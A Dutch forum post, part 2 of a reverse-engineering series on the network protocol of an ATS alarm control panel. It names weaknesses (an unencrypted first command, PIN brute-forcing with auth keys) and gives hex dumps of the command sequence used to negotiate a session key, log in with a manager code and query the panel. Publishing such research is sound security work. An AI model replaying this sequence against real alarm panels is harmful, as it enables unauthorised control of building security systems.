Auteur Topic: Topic: "Hacken" ATS Advanced Reverse engineering (Deel 2)  (gelezen 2725 keer)

RPJAcobs

  • Aspirant
  • **
  • Berichten: 11
  • Veiligheid voor alles!
    • Bekijk profiel
  • Bedrijf: Syca B.V.
Topic: "Hacken" ATS Advanced Reverse engineering (Deel 2)
« Gepost op: donderdag 20 oktober 2016, 19:23 »
We zijn nu is staat de centrale volledig te beheren!

Wat zijn de risico's?
Over het algemeen zit het goed in elkaar. Op basis van de auth keys wordt een nieuwe sessiekey aangevraagd waarmee per sessie het verkeer wordt geencrypt. Dat is dus goed nieuws. Jammer is dat je het eerste commando niet encrypt verstuurd, zo kun je dus met een eenvoudige portscan type, firmware en deviceID achterhalen.

Daarnaast kun je met de correcte auth keys eenvoudig bruteforce de pincode achterhalen. Dus zorg er altijd voor dat de key's met nullen vervangen wordt. Als de gebruiker de auth key's heeft kun hij dus makkelijk alle codes achterhalen en de centrale volledig beheren...

Iemand nog vragen?

Uit de POC komt de volgende informatie

1. device.getDescription : deze hadden we met wireshark gevonden en later in de driver.
antwoord:
Command: device.Description
0000: A0 08 50 10 74 65 73 74 20 70 61 6E 65 65 6C 00  ..P.test.paneel.
0010: 00 00 00 00 10 41 54 53 31 30 30 30 41 49 50 00  .....ATS1000AIP.
0020: 00 00 00 00 00 10 4D 52 5F 30 32 34 2E 30 32 34  ......MR_024.024
0030: 2E 30 31 32 38 00 10 30 30 30 30 32 30 30 30 34  .0128..000020004
0040: 41 36 32 00 00 00 00 01 00 00 17 55 E7 AA 33 01  A62........U..3.
0050: 01 02 09 05 05 01 00 00 40                       ........@

2. begin.changeSessionKey : hier wordt op basis van de 2 12 cijferige keys een encryptie key gevraagd aan de centrale.
0000: C0 F0 01 00 09 00 00 00 00 00 00 00 00 00 00 00  ................
0010: 00 00 00 00 00                                   .....
antwoord met de key die gebruikt moet worden voor deze sessie, hiermee (samen met het deviceID uit stap 1) moeten we de volgende commando's encrypten en de antwoorden decrypten.
Command: return.changeSessionKey
0000: A0 00 09 B1 B3 B1 DE BC CA 18 18 00 00 00 00 00  ................
0010: 00 00 00                                         ...

3.device.getConnect : maak connectie met de managerscode "1122"
0000: C0 06 06 0B 06 01 00 01 01 01 01 0A 31 31 32 32  ............1122
0010: 00 00 00 00 00 00                                ......
antwoord
Command: return.void
0000: A0 00 00                                         ...

4. select.AreaNames: nu kunnen we alles vragen aan de centrale zoals welke gebieden zijn er.
0000: C0 18 02 00 03 00 01                             .......
antwoord.
Command: return.AreaNames
0000: A0 19 02 00 01 10 47 65 62 69 65 64 20 31 00 00  ......Gebied.1..
0010: 00 00 00 00 00 00 47 65 62 69 65 64 20 32 00 00  ......Gebied.2..
0020: 00 00 00 00 00 00 47 65 62 69 65 64 20 33 00 00  ......Gebied.3..
0030: 00 00 00 00 00 00 47 65 62 69 65 64 20 34 00 00  ......Gebied.4..
0040: 00 00 00 00 00 00                                ......